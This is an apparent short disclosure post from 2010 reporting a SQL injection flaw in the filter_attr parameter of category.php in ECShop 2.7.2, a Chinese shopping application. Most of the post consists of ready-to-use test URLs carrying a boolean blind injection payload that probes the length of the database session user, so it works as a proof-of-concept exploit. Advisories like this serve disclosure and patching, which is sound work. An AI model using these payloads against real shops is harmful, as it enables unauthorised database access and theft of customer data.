Injection of ECShop apps.

[lis cker <liscker@xxxxxxxxxxx>]

ECSHOP is one of the most famous shopping apps of china.
 
The last vesion of ECShop is V2.7.2. It has a OR_NUM type injection in 
filter_attr Parameter of category.php.
 
For example:
 
http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC#goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999
 
 
 

Test it :
 
http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2
 
http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=15%20or%201=2
 
 
 
 
Liscker
2010.05.07